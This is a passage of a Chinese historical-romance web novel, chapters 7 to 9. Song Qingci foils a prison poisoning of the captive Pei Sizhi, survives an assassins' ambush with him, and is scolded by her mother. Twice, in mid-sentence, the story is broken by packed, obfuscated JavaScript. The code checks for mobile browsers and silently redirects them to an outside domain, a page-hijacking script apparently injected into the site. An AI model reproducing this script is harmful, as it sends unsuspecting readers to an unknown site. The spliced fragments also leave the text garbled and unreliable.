她将自己的腰牌扔给一旁守着的吏员,语速又急又快,“从衙署抽调一队轻骑,跟我去把裴四提出来,即刻就去!” 吏员奉命快步离去,宋清词又侧首朝着要跟上来的宋嶙道:“你别跟着,就留在这照应着。” 宋嶙坚持道:“这哪行!各部无人主事,若姑娘遇到什么危险,属下万死难赎……” “胡说八道。”宋清词眉目狠决,压低了声,“宋家豢养家将这些年,为的是关键时刻的自保。那言释行是什么人?与袁党何等亲密,怎能叫他探出宋家的底细!告诉外边的弟兄们,谁敢自作主张,别怪我宋清词不顾往日情分。” 宋嶙只得答应:“是,属下这就吩咐下去。” 临走时,小词远远地隔着槛窗往里望了一眼,不知怎地,正好撞上阿翁神色凝重地往她这个方向瞧来的目光。宋清词只当他是看见自己了,朝着对方点了点头,想令他宽心。 没什么可担心的,她也没什么好怕的。 7. 第 7 章 襄平城又飘起了雪。裴肆之倚坐在牢房内,泼墨一般的乌丝半散着,他伸出掌心接下头顶窄窗飘进来的点点雪花,借着月光好心情地欣赏良久,才朝一旁立着的狱卒道:“拿走,爷现在不想吃。” 狱卒没有计较他的无礼,反倒是一步步接近他,低垂着头,“不行,您得吃啊,不吃小的怎么向上交代呢?” 男人这才肯施舍他一道目光,但也仅仅是一瞬便收回来,像是生怕打搅自己赏雪的心情,“这餐食看着比白天的强了不少。白天在这看守的不是你吧,刚上值?” 那狱卒闻言一惊,又见对方语气平平,不像是察觉什么,遂低声道:“是啊,公子请放心,给您的饭菜都是按我们兄弟的份例定下的,肯定比白天普通犯人吃得要好,您是小词姑娘关照过的人,我们哪敢不上心。” 裴肆之问道:“优待啊。这是她的意思,还是你们擅作主张?” “这自然是姑娘吩咐过的。”狱卒想也不想便答,又哄劝道:“公子的伤重,得多吃些好的补补,赶明儿小词姑娘再来提审,您才有力气把事交代了。哎,得争取早日出去不是?” 只见裴肆之大手一伸,狱卒会意地将碗筷递到他掌上,指尖的颤抖还未散去,就听男人低笑一声,嘲讽的意味十足。 狱卒顿时绷紧了身体,惊恐地对上那双毫无感情的眼睛。 “没完没了,是吗?”男人仰头说道。 有人要毒杀他,他第一反应竟是不耐,“既然没本事一举夺下爷的脑袋,就不该再站在爷面前。你们主子的脸也是大得能撑船了。” 两人说话的声量一直不高,连牢房外巡逻看守的其他狱卒都没有察觉异样。 可裴肆之眼前的狱卒此刻却遍体生寒,连步子都挪动不得。裴肆之上下扫了他一眼,笑容寒意更甚,“瞧你这破绽露的,想下毒,起码也要做到餐食如往常一样吧?一点经验都没有,全靠你这一腔真情,能行吗?” “你……” “我是真的有点好奇了,到底是谁要杀我啊?又是医工,又是狱卒的,这么不入流的招真是少见。难道和昨夜派死士的不是同一位?不能吧。”裴肆之瞧着对方牙齿打颤的模样,“虽是招式清奇,但派你们这样的良民来做事,还挺难防的,身上半点杀气也没有……嘶,想来特意为我准备的,毕竟我平生最少打交道的就是你们这种人。要不是我对宋小姐的为人略知一二,恐怕真会中你的计。” 那狱卒终于磕磕绊绊吐出了一句:“你死……我才能活……你必须死,你必须——” “真可惜,计谋被识破,你已经没法无声无息地杀我了,杀了我你也走不掉。”裴肆之一摊手,将地上的碗提起来,手腕使力,碗打了个旋“砰”的一声飞转到狱卒怀里,溅了对方一身。 不远处聚在一起嗑瓜子闲聊的狱卒们闻声问道:“老王,咋了?裴四又闹事了?” 裴肆之单手撑着头,眼里起了兴味,嗓音低哑得蛊人:“我现在心情好,给你个选择,怎么样?” 老王脸色早已惨白一片,先是高声应道:“没……没事,是我手滑了!” 而后才问:“什么选择?” “要么,你把你主子交代了,我保你的命。”裴肆之道,“要么,我喊人过来抓你,你刑讯之下被迫交代。我这人最是记仇,你对我动杀心,我必杀你全家泄愤。” 外头的狱卒们一边应着他,一边往这一处走来,“手滑了就来重新领一份,多大点事,磨蹭啥!大家伙儿都等你打牌呢!” 脚步声越来越近,老王额前的冷汗越来越密集,就在他心中防线彻底崩塌之前,大牢外忽传来一阵声响,紧接着是牢头的低声喝斥。 “小词姑娘来了!速速归位——赶紧把你那些破牌收好!” “快点快点!” 即将抵达裴肆之这间牢房外的那几个狱卒也急忙折回去了。 等到宋清词赶到时,老王正蹲坐在牢房角落,神情呆滞,双手抓着碗里的吃食拼命往嘴里塞,将嘴堵得滚圆,汤汤水水流了满身。而裴肆之静坐在另一个角落,半屈着一条腿,冷眼旁观着这一切。 还不等宋清词出言询问,老王嘴里的饭菜就染了红。 “我忘了,还有这个选择。”裴肆之道。 那人因痛苦卧倒在地上抽搐,狼狈地吞|吐着嘴里的血和饭,口中传出的话语却比方才颤抖时的更清晰:“我……我家人都在那个人……” 手里。 宋清词哪里还能猜不出发生了什么,恨恨道:“去抓李成沛的人呢!” 身后官兵迅速应道:“李家已经空了,现在正在李家附近展开搜捕,衙署已经给那边派了增援了!” “襄平大小城门一律封死,他还有心思派人在牢里下毒,就证明走不远。”宋清词转头道,“立即将裴四转移至城南别院。” 裴肆之的目光这才从死去的狱卒身上移开,仰首挑眉道:“宋小姐深夜前来,是特意来为裴某换地儿的?” “李成沛很多年前就在襄平做官了,这么多年都没有异样,可你一来,他不惜多年潜伏的心血也要杀你。”宋清词凝视着他,“阁下的命这么贵,怎么能不换个好地方?” “原来小姐是来救我的。”假身份以这种形式被戳穿,裴肆之也不辩驳,反而揶揄道:“一日之内,你救我三次。宋小姐也是没什么正经事做了?” 宋清词原以为自己会恼怒不堪,没想到嘴巴这时倒也争气:“一日之内,你被刺杀三次,裴公子的正经事倒是多呢!” 裴肆之一笑了之,任由官兵从他一左一右架出去,手腕的镣铐因碰撞直作响,他却一副心情不错的模样,扬声吩咐起来,“能不能商量一下,配个马车用用?我这幅身体这会儿正弱着呢,可骑不了马——” 宋清词咬牙切齿:“还马车……牢车要不要?再多话就把你塞进牢车里,绕着襄平城游行一整夜,我就不信贼人不上当!” 裴肆之很识趣地闭嘴了。 不过考虑到他那身伤,骑马颠到城南可能真的会死,牢车行得又太慢,宋清词左右的官兵们瞄着少女的眼色,还是迅速借调了一辆当值官员的马车。车内宽敞,由一位随行官兵佩刀挟制裴肆之,其余十二轻骑环绕着小词和马车匀速前行。 车队路过从刑牢出来必经的分岔口时,裴肆之忽然说了句:“李成沛这种潜伏多年的探子,不说死士也差不多了。临了就放了一记毒杀,便甘心逃了吗。” 少女正好骑行于马车右方,闻言持马鞭挑起珠帘,冷脸瞧着那张妖孽的脸,居上俯视道:“也许他还不确定自己已经暴露,舍不得亲自站出来和你拼命。” 裴肆之直视着她,“方才或许还不确定,此刻呢?” 宋清词瞳孔急剧一缩。 霎时,原本寂静幽暗的四周似是骚动起来,从斜侧方破空而下的一枚利箭穿透人群直冲马车而来,“警戒”二字还未道出口,挟持裴肆之的那名官兵便中箭摔出马车。 裴肆之顺着方向,瞥了隐匿在黑暗中的人一眼。 辽东大牢地处偏远,道路两侧以荒废多年的木林为主,在第一支箭落下后,两侧的树林中只沉默不到一个呼吸间,泼天的箭雨便朝宋清词等人袭来,彻底断了他们撤回辽东大牢的后路。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480517|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也就在那一个呼吸间,官兵齐齐调转马头抽刀而立,“有刺客,保护姑娘——” 宋清词身侧的轻骑兵个个都是习武的好手,奈何人数有限只勉强守得住她一人,宋清词眼见着更多的利箭直朝马车而去,当即弃马,飞身扑上马车前端。驾马的车夫早就亡于箭雨之下,宋清词狠狠一策缰绳,马车才重新疾驰奔出。 一枚原本正对裴肆之脑袋的长箭因此无法命中,擦过他头顶的一缕发丝,深深钉在车壁上。 “向前行进!全力撤出对方伏击范围!”她厉声道,“再往前五公里便是屯兵营,他们追不远!” 两旁埋伏的刺客显然也意识到他们即将逃出箭雨的范围,纷纷从林子里显露真身,拔出随身的刀剑来急速追赶,且分工极其有序,一队人负责缠上为宋清词断后的官兵使其不能抽身,一队人目不斜视只专心追逐马车。 月亮早已躲在云瘴之内,大雪裹着杀意在这片土地横行肆虐,那些刺客只凭相互配合的身法步伐竟不比轻骑的速度慢几分,可出手的声响却极轻极诡,不出片刻,宋清词只觉身后寂静得可怕,不妙的念头在心中升起。 见鬼! 她能感受到有多少人在马车后死咬着不放地追赶。 缰绳和马鞭已然抽打到极致,马儿奔袭得几乎快化作一阵狂风—— 那种雪粒子打在脸上的刺痛,和因诡谲死寂的气氛造成的心跳加速,使小词的脸不由得惨白几分。 渐渐急促的呼吸,紧握缰绳却微微颤抖的双手,前世被追杀的记忆不合时宜地涌进脑子,令她心头有些恼。 背后的男人冷冷出声,“慌什么。” 小词没应声。 从裴肆之的角度只能隐隐看见她的侧脸,他是从她的呼吸里听出端倪的,她的恐惧似乎比他料想的多了些。 他想,在刑牢都能行走自如的女子,只是被后面的人追得紧了些,便还没等交手就怕了?裴肆之不禁蹙起眉来,回首瞥了一眼那行人马,目光阴沉得厉害。 再开口时,却温柔几分,“你胆子这么小,干嘛还要来救我?” “救人需要理由吗。”她终于应了。 “当然。”雪夜之下,裴肆之笑得惊心动魄,“我此次北上,在其他地方都是畅通无阻,到了你辽东地界却遭刺杀,且每次遇袭时你都恰好赶到。换做旁人早该怀疑是你们辽东自导自演,想取得我的信任以便图谋其他了。” “你怀疑我?”小词果断道:“那你现在就下车。这次我绝不再管你,你亲自去试试他们到底是不是在做戏,看他们究竟敢不敢杀你。” “欸,怎么生气了。”感觉到她已不像刚才那般恐慌,裴肆之又踏实地后仰在车榻上,“说笑而已嘛。” 他又道:“你别紧张,连回头都不敢回了?虽然你的人都不在身边了,但对方也所剩不多,没你想的那么难对付。以我们现在的速度,他们迟早是要扑上车来的。” “怎么可能那么快——” “若没有这个能耐,他们昨夜就该是我剑下亡魂。” 宋清词犹豫了一下,咬紧后槽牙,试探着偏头瞥了一眼。 却见车后两个刺客骤然被其余几人托举起跳,两刺客同时甩着一根巨大铁链的两端,将前段的飞爪死死嵌入车顶,其余几人借力从旁挥刀,“轰隆”一声巨响,马车的车顶被其合力掀翻滚落,车里的裴宋二人彻底暴露于众人眼前。 风雪瞬时涌进车内,裴肆之的头发彻底披散开来,简直放荡不羁到极致,他晃了晃手腕上的镣铐,问道:“身后应该不超过二十人,交给你了。需要我替你赶马吗?” 8. 第 8 章 裴四公子如愿领了赶马的差事。 不断有刺客能够凭借相互配合一跃上车,泛着寒光的长刀软剑径直朝两人劈来,宋清词就守在裴肆之背后,微微弓着身子,凭着熟记于心的掌法徒手掰断一个又一个刺客的手腕腕骨,卸了他们的刀剑,再把人踢下车。 一开始还能得手几个回合,可渐渐的,对方也能发现她的漏洞,那就是杀招不够狠,且只要多人同时围攻,她那套招式就难以施展。他们无声沟通着这个讯号,顷刻间变令小词吃了几个暗亏,手臂上多了两条剑伤。 场上局势的异样使得裴肆之忍不住侧目,少女呼吸沉重地半跪在他身边,臂上流淌的鲜血格外刺眼,她死死盯着眼前步步紧逼的人们,反手举起地上的一柄长刀,没有半分退让的意思。 见此景的裴肆之眉梢染上一抹烦躁,想说些什么,却又咽了下去。 “别担心,快到了。”宋清词倒是反过来安抚他。 身后的兵器交缠声又起,裴肆之策马的劲道更狠了几分,眼前却全是她雪白大氅上渗出的血迹。 少女旋身于众杀手之间,长刀在手的她不再拘于以巧制敌的招式,在窒息且悬命的夜雾中,她被逼得攻势渐渐凌厉起来,身体求生的本能令她无所顾忌,即便大多刺客都已踏上马车紧紧环绕在她身侧,她竟也能在防守的空档使出一斩致命的横劈。 反应迅速的刺客当即用刀格挡这一斩横劈,却不曾想手中刀被宋清词径直劈断,刀刃方向未改,连同被劈断的还有他的脖子—— 头颅落地,猩红的血喷射而出,溅了宋清词一脸,残忍的视觉冲击令她产生一瞬间的恍惚和惊骇。 这是她有生之年斩杀的第一人。 利器摩擦骨头的触感和声音恶魔般的在脑中回溯,小词的手顿时不受控地疯狂抖动起来。 同时被震慑到的还有周围的刺客,他们亲眼看见宋清词的刀是方才随手捡的,和他们的手中刀材质相同,一般无二。 一个妙龄女子,哪来的这么大力气,斩得断他们的刀。 “杀了她!”不知是谁厉喝一声,宋清词背后的那名刺客率先反应过来,在宋清词愕然发怔的关头,泛着寒光的长刀直挺挺地就要送进她的心口。 小词只感觉被一股巨大的力量从旁拉拽过去,再回首时,她已被拽至马车前沿,裴肆之背对着她,用手腕镣铐间的那截铁链缠绕住刺客的长刀,以此桎梏对方的攻势。 “裴……” “你也是傻。我说交给你,你就真替我扛着。”裴肆之笑得轻松,全然不顾那刀尖距他还有多少距离,“赶车这事太没趣,还是你来吧。” “你有伤。”小词道。 “转过头去。”裴肆之说,“不然马要走偏了。” 宋清词如他所言稳住缰绳,一面控制好方向和速度,一面用余光扫了眼后面陷入缠斗的裴肆之,只见裴肆之早已将腕间铁链缠上一刺客的脖颈,双目迸发出她从未见过的狠厉神情,顷刻之间就结果了一人的性命。 又有几人合力从旁刺来,裴肆之不避反上,借对方的刀劈开腕子上的镣铐,再从地上踢来一把刀在手里翻了个旋,如一道影子般冲了进去。 四溅的血水令小词忍不住打了个寒颤,她默默收回了视线,远远地望见前方屯兵营的火把和旗帜,不由得惊呼:“快到了!坚持住!” 不曾想刺客之间打了个眼色,原本齐齐围攻裴肆之的刺客忽而拨出几人转身便朝宋清词劈来。裴肆之当即就地翻滚拦截宋清词背后的攻势,几人同时劈下的力气尽数被他接下,牵扯伤口的剧痛令他喉咙间闷哼一声,单膝沉了下去。 眼见着裴肆之败势既定,刺客自然不会放过这绝佳的机会,拼死向下压刀,另外一人趁势持刀朝宋清词后颈斜劈,势必要将此二人性命即刻结束于此。 裴肆之不知哪里来的力气,骤然翻刀一跃而起,拦过宋清词的腰往身后一扯,抬腿就朝那人心口踹去。 哪知那人只是假意攻向宋清词,实际刀尖早已指向裴肆之的胸口,在被蹬下马车的那一刻,同时将那柄长刀被送进裴肆之身前。 裴肆之避无可避,只勉强调整方向,肩胛正中一刀,深及骨髓。 中刀的裴肆之有一瞬间觉得自己蠢得厉害。 他重重地倒下来,新伤旧伤叠在一起,四肢灌了铅一般动弹不得。刺客逐渐靠近的脚步声就在耳畔,裴肆之无暇去看,更不像往常那般插科打诨,男人浑身青筋暴起,大汗淋漓,硬是逼出一分力气去拿刀。 他若死在这,那个胆子很小的宋姑娘便没有活路了。 近了……更近了……那些刺客围了上来,无声地举起刀,只需要最后的一步,事情就没有回转的余地了—— “噌——” 那个裹着雪白大氅的少女不知何时出现在刺客的身后,将刀刺进为首之人的心口。 “滴答……滴答……” 那人的血水顺着刀涌出来,滴在马车的木板上,映在少女的眼里。 她微微垂着头,不去看身前的惨象,也不在意双手的抖动,只狠狠扭动刀的方向走势,最终在对方的惨叫结束时抽出刀来。 “你们这些死士,是不是只有死了才能停止杀戮。” 刀尖甩出血滴,溅在所有持刀人身上,她这时才抬首,眼中蓄着不知因何而起的泪,“没人能在这里肆意屠杀……不论你们背后的人是谁,都不行。” 这在刺客眼中无外乎是强弩之末的表现,其中一人挥刀便来,宋清词抡着刀不挡反刺,可还不等刀触及对方的身体,就见对方猝然浑身一僵,胸前冒出一支箭头。 其余刺客堪堪回首,就见远处一身着官袍的年迈男子高坐于雪白的汗血宝马上,挽着一张大弓,弓开如满月,粗壮的白羽箭带着撕开夜雾的气势,在众人的惊愕凝视下,“嗵”地一声直直钉入原本要发狠了结裴肆之的那名刺客的头颅。 月光洒落在年迈老者的肩上,他身后身披甲胄的屯兵营将士们一阵排开,威风赫赫,蓄势待发。 “阿翁……” 宋秋廷喉间低哼一声,绝对的实力几乎要将风声碾得凝滞,在将下一支重箭搭上大弓前,发出一声高喝:“跪下降我者,可活——” …… 裴肆之被将士们移至另一辆马车时,已经有些意识模糊了,却还强行振作着,不想就此睡过去。 视野有限,他只竭力寻找那道熟悉的声音。 “阿翁,我都要吓死了……嘶。” “你这笨丫头,这是伤哪了?怎么流了这么多血?医官!快传医官来!” 忙碌了一阵后,那道声音忽而敛去少女的娇气,“小女宋清词,见过言主簿。今日失礼了。” “若说失礼,也该是言某贸然前来更为失礼才是。早闻辽东的清词小姐才貌无双,一手文章写得徐州牧都要称赞几分,若来日有幸拜读,还望小姐不吝赐教。” 言释行朝宋秋廷和宋清词各行了一礼,既客气又恭谨,只是目光掠过一旁的裴肆之时,似是有些愠怒:“我见宋太守行色匆匆,便担心是出了什么事,却没想到这场凶事竟牵连了清词小姐?清词小姐是闺阁女子,按理说不该招惹上什么仇家,定是被谁拖累才遭此无妄之灾,若是太守需要避嫌,不便出面查案,言某或可相助一二。” 宋清词蹙了蹙眉,抬眼瞧他,“不必了,这不是——” “又不是小孩子了,这么晚还在外头贪玩,这回遇到流寇作乱,你可老实了?”宋秋廷倏然开口,又转而朝言释行拱手道:“小词自小便是在我身边长大的,平日在外头行走惯了,仗着有些防身的拳脚功夫便没个拘束,让主簿见笑了。” 几句话就给事情定了性,既把裴肆之说成了和小词一起贪玩的“同行玩伴”,又把杀手刺客权当成流寇夜袭,瞬间把言释行原本准备好插手的说辞打了回来。即便言释行心知此事来龙去脉,更知道雁过留痕、宋清词提审裴肆之出狱定是有本可查的,但他此刻还真没法细究。 真细究起来,他言释行在这中间扮演了什么角色,就瞒不住了。 言释行晦暗的目光几乎转瞬即逝,再开口时那副笑容又是极完美的,“如今的流寇真是猖獗,竟敢跑到宋太守坐镇的襄平城作乱。看来在下要尽早禀明州牧,幽州的剿匪行动刻不容缓啊。” 宋秋廷露出当晚第一个真心的笑容:“剿匪好啊,是该剿匪。主簿放心,州府的剿匪令一出,我辽东必然第一个响应。” 言释行应道:“言某下榻之处离宋府不远,我那里有上好的安神汤,是京城章太医亲自拟的方子,待会儿便派人送至宋府。小小心意,宋太守可千万别回绝。” 小词闻言抽了抽嘴角,实在不明白一个安神汤能有什么差别。 送走了言释行,宋清词才问:“什么‘一手文章写得徐州牧都称赞’?我怎么不知道这事?” 阿翁背过身子,“你问我?又不是我称赞的!” “不对劲,阿翁你肯定知道。”小词绕到阿翁前面,“是不是你瞒着我,不告诉我?” 俩人一个躲一个堵,宋秋廷硬生生等到眼前少女堵得他走不了路,才气定神闲道:“有郡内那些人的夸奖还不够?把外边的赞赏都告诉你,你还不得掂不清自己几斤几两?” 宋清词梗着脖子,“我才不会呢,阿翁又小瞧人了!” 又喋喋不休道,“郡府官员的夸奖多半是冲着阿翁的面子,这我还是知道的,怎么会全都当真呢?但辽东郡外的夸赞就不一样了,他们又不受限于阿翁……” 宋秋廷道:“这你就冤枉郡府了,若是看我的面子,大可以从宋府千金的角度赞你的琴艺有多高,模样有多姝丽,没必要真研读你的文章。你林叔今日还与我说,你新作的有关罪罚的策论他看了,你领会得不错,去衙署做个决曹史也尽够了。” 小词脸上浮现难以掩饰的笑意,连步调也轻快了,“当真?这还是我第一次写刑法策。” 宋秋廷没继续理身后的人,顾自走近旁边停着的马车,瞅了一眼里头躺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是个好地段。”宋清词略略思忖后,抬手召一旁驻守的亲兵将士近前,“明早城门照常打开,不要影响平民百姓的正常通行。你们以盗窃官印为由,拿着李成沛的画像在城门严格排查,势必保证此人无法出城,另外,着三队人马在周渔、白弥、甜巷三地开始逐步向内搜索,声势壮大些,样子做足些。” 宋秋廷望着她,“这还有点意思,但别把人逼死了,要留活口。” 宋清词沉默了一会,再开口时语气谈不上冷漠,却也带着一股寒意,“他利用狱卒的家人逼迫狱卒行凶,确实该死。但狡兔三窟,他在襄平为官多年,对地形再熟悉不过,稍微给他开一点生门,他就能借势逃出来。” 宋秋廷挑挑眉峰,“听着还不错,比你亲自押送裴四的事妥帖不少。” “怎么像在取笑我。”小词缩缩脖子,目光移至不远处马车里的男人,“李成沛虽然暂时没抓到,但他手里的棋大抵已经用光了,咱们如今再把裴四送回辽东大牢,亲兵把守,我不信这次还能出差错。” 宋秋廷有意帮她放松一下心情,扯着少女没受伤的那条胳膊回到马车附近,俩人并排靠在车窗外歇息,“且不说他是何身份,意欲何为,就看人家身上好几个窟窿眼呢,有的伤还和你脱不开关系,这时候给人送回大牢里住着,合适吗?” “我觉得不合适。”里面把话听得一清二楚的裴肆之淡淡插嘴。 突如其来的男声吓了小词一跳,少女捂着胸口,转头就瞧见自家阿翁拿定主意的模样,恼火道:“什么和我脱不开关系,没我在他还未必有命活到现在吗?城南也不行,大牢也不行,那我可不出主意了,总出不到您心坎里去。” “怎么没出到心坎里?”宋秋廷拍板定调,“就城南别院了。” 小词神魂未定,“您方才还说送去城南我会被阿母训斥,转眼就变卦了?” 宋秋廷两手插袖子里,双目弯弯,“嗯,我突然觉得你阿母今晚会把重点放在你的伤势上,至于这位公子今晚住哪,你阿母应该是顾不上了。” 一语惊醒梦中人,小词仰头望天,哀声叹气起来,“我突然不是很想回家了,要不今晚我就——” “不行。”宋秋廷斩钉截铁。 “今夜都过去一半了,我随便找个驿馆住下也不会有什么危险的,阿翁你在家里一言九鼎,有您帮我应付肯定能行。”借着雪地脚底打滑,“大侠仗义,小女子先走为敬。” “不可能,赶紧上车。”宋秋廷嗤了一声,“真拿我老头子当挡箭牌使?当我老头子傻?你阿父阿母一个比一个聒噪,这是你的修行,可不是我的。” 押送刺客的兵马早已启程,护送裴肆之的医官和亲兵也奔往城南,几辆马车在屯兵营门口的雪地里留下几圈错乱的车轱辘印,在爷孙俩说话的档口,这军营前的人就已经散的差不多了。 “阿翁……”被推上马车的小词忽然扒着车门探出头,认真地把阿翁端详一遍,愤恨道:“你忘了请我吃汤饼了!” “又找茬?我告诉你,拖时间也没用,今晚这顿骂你躲不过去!” “阿翁你这会儿没有方才拉弓的时候英武了!连方才的五成英武都没有!” 9. 第 9 章 杜婉天生一副大嗓门,十几年前在京城世家贵女云集的赏花宴上,杜婉为了替一个被恶意推入水中的女眷打抱不平,几乎喊翻了整个宴席,扰得隔壁席面上的公子哥们也都来凑热闹,随父亲入京不久的宋禾弦亦在其中。 女眷的事他们不好插嘴,只远远地瞧着那个一身红裙的女子双手叉着腰,站在人群中间也毫不尴尬露怯,指着另外两个年轻女娘的鼻子就是一通训斥,上至祖宗八代,下至教养品行,训得对方脸色通红,直呼这人是个疯子。 连站在宋禾弦身边的公子哥也低声道:“能说这一口蜀中话,想必是那位新到任的杜御史家中独女了,以她的身份能来此已是荣耀,怎地这般不知体面?即便有什么摩擦,也当忍下来私下调解才是。”说着又拍了拍宋禾弦的肩,“宋兄,瞧瞧,这也算是个贤良宗妇的反面例子了,这位日后再想嫁入咱们这样的高门,定是不可能了。” 宋禾弦目不转睛,语气却冷淡得狠,“高门?” 那人点点头,极爽朗似的,“那是自然,令尊如今可是陛下一手提拔的太子太傅,虽不是宗室贵胄,但也不仅仅是京城新贵这么简单,说句高门不为过吧?本公子呢,更不必说了,我家世代袭爵……” 宋禾弦哈哈一笑,转眼就去杜家提亲了。 其实那天杜婉并没有讨到什么好处,那一屋子的贵客打断骨头连着筋,没有人会拿这个家世不显、长相平平的小女娘的口中话当真,本身就是初来乍到,怎么动摇得了京城贵人之间的固有格局,甚至最后那个被推入水中的女眷也不敢再追究了,站出来直说是自己不小心落水的。 杜婉被人逐出了宴席,成了贵眷们茶余饭后的谈资,宋禾弦那时提亲,对宋家来说半点好处都没有,京城里人人都在猜这个才气斐然的宋家公子并非真心求娶,而是担心宋家名声太盛惹人眼红,刻意娶个这样家室秉性的女娘,以免朝中政敌对宋秋廷发难太过。 宋秋廷倒是乐得大家如此看,直到有一天自家儿子被杜婉当街拧耳朵拽回家,整条街的官眷妇人都瞧见宋禾弦是如何嬉皮笑脸乐在其中的,真相才瞒不住了。 京城贵妇甲:天知道杜婉婚后过得这样好! 京城贵女乙:现下才情好又俊俏的小郎君都喜欢这样的女娘吗? 如此,杜婉在宋家的将近二十年,不论宋家权势如何,她那份大嗓门的火爆脾气是一点没改,前几年用来收拾宋禾弦,后几年用来收拾宋禾弦和宋清昭,要不是宋清词降生后的那几年时常战兢高热,仿佛被吼一声就要碎了,恐怕也早已被列入其中。 即便这样,小词此刻想起来杜婉发火的场面也是一阵头疼,毕竟那个不省心的小昭儿太容易闯祸,又太会找阿姐当庇荫伞,以至于宋清词连带着耳朵起茧,且对杜婉的一整套流程非常熟悉,倒背如流。 譬如,宋清词和阿翁刚下了马车,迈过宋府大门前,丹娘就已经迎了上来,目的非常明确:“姑娘,郎君和夫人在等您。” 宋清词扭过头,幽幽道:“宋嶙,弟兄们的脚程是不是忒快了点。” 宋嶙低下头,咳嗽两声,一本正经地:“职责所系,不敢不尽心。” 小词幽怨的目光改落至阿翁身上,阿翁一摊手,“没办法,咱家养这些个家将,跑几趟传话的活儿岂不是小菜一碟。” 极其领先的传讯速度只是开胃菜,真正的第一步还没开始。 小词慢吞吞地跟在丹娘后边,一手扶着另一胳膊的伤口,试图先拉一个同伙,“丹娘——丹娘,我胳膊好疼啊,这会儿怎么这么疼啊——” 丹娘回头瞄她一眼,“姑娘,这一招是小公子五岁前才会用的。” 宋清词咽了咽口水,“那他现在有什么新招……” 丹娘莞尔一笑,“小公子正在里头跪着受罚呢,您可以进去之后亲自问问。” “他又怎么了?”小词的眼睛顿时发亮,探头问道:“这么说,今晚阿父阿母要责问的不是……” “您二位啊,今晚都要好好认错才是。”丹娘语重心长道,“小公子玩了一天小狗,夫人给安排的课题是一个也没做,没做就没做吧,还谎称自己都做完了,那小眼神一下子就被夫人看出来真假了!夫人正发着火呢,又听说姑娘您为了押送犯人受伤的事,提心吊胆到现在,就等着见您呢。” 小词咬咬嘴唇,脚步不由得加快许多,三步并作两步地迈入阿父阿母的院子。全院灯火通明,气氛压抑得厉害,小词目不斜视直抵主屋,还不等推开房门就听里面一声喝斥,“宋清昭,我准你动了吗?” 随着丹娘推开房门的“吱呀”一声,宋清词垂眸而入,双膝触地,朝着座位上的两个人作揖,“阿父,阿母,孩儿回来晚了,让你们担心了。” 作揖的异样让两人一下子看出小词的伤口在哪,宋禾弦惊得拄拐起身,连忙走近细细查看,“快起来,快起来,伤得要不要紧?伤口深不深?” 小词直起半身,没急着站起来,只应道:“都是小伤,不妨事的。” 话是对阿父说的,目光却是落在阿母身上的。 只见座位上的妇人胸口剧烈起伏着,眼眶红润,双眸死死盯着小词胳膊上的包扎布条,却不愿发一言。 小词心里凉了半截,她知道阿母这是气得狠了。 原本杜婉就对小词成日在外行走的做法持观望状态,今晨又特意来自己院里劝过她,提醒她近日世道不太平,宋清词却浑不在意。若是安然回来也就罢了,偏偏今天遇上了裴四这桩事。 小词斟酌着开口,“阿母,今日的事实在蹊跷,我便有些乱了阵脚,这是意外,以后小词定当谨慎小心……” “小心?你还知道谨慎小心?”杜婉一拍茶案,震得盏中茶水四溅,“我今晨有没有提醒过你外面的情况,晌午你回来我有没有告诉你要稳重、妥帖,我们宋家还没轮到你个刚及笄的小丫头去涉险?话还没传出三里地,你就为了押送个犯人刀口舔血亲自搏命了!你可还当你自己是阿母的女儿!爹娘祖父俱在,你怎敢如此不惜身?” 宋清词无言以辩,从她进门望见阿母的第一眼,就知道今日和往常的情况不一样了。若说往日阿母只是脾气火爆、眼里容不得沙子,拿着夫君儿子涮嘴玩,今日便是真真受了惊、伤了心,决意要干预此事了。 屋子里寂静得吓人,小词低垂着头,耳朵里只能听见阿母因气愤和伤心导致的沉重喘息声。 宋禾弦瞧着气氛不对,率先打破僵局,“哎哟,瞧瞧这胳膊伤得,血都蔓延一袖子了,这得吃多大苦啊,我们家小词还没受过这样的伤,心疼死为父了……她阿母你快来瞧瞧,这包扎的手法也是蛮粗糙的,要不一会还是夫人你重新……” “我哪有那个本事。”杜婉别过目光,“她宋清词有本事拿命出去赌,想找个细心妥帖的医师岂不是容易极了?我一个家中妇人怎么敢置喙她的事?” 这话说得狠了,宋清词的眼圈也不受控地红了起来,她朝上首磕了个头,“阿母,是我今日冒进,让阿母担心了,阿母想怎样罚我我都认,您别这样说就成。” “这样说便不成了?我说的有错吗?”杜婉道:“你阿母对你的告诫和教导在你眼里,恐怕还不如军营里随便一个将士说的话有分量!是,你宋清词何许人也,小小年纪就能置喙关市的事,能插手官场和军营的事,城里城外无人不知你小词姑娘的名号,你心里的事都是大事,都是必须要做之事,唯独你阿母心里的事全然可以当做过耳旁风,反正也影响不了你们的大局!” 少女的肩膀轻轻耸动,“我不是这样想的,我怎么会把阿母的话当耳旁风?是那些贼子胆大包天,我只是……” “你只是为了一个素不相识的犯人,拿命和一群手握凶器的人搏杀了一回。”杜婉目若寒霜,眼角却落了泪,“而在家中等待你的阿母却要提心吊胆,若不是你阿父拦着,我定是要亲自去屯兵营前,谁敢伤我的孩儿,我是要和他拼命的。” 宋清词呼吸一滞,艰涩地张了张口,却怎么也说不出话来。 气氛降至冰点,没人再接得住杜婉那句话,更没人能替宋清词保证她日后不会做这样的事,屋子里的一家人像是被巨大的铁链锁在一起,齐齐困在一缸冰水里浸泡着,或生或死都交给时间。也许下一瞬众人的体温就融化了冰水,也许下一瞬所有人都会冻僵至死。 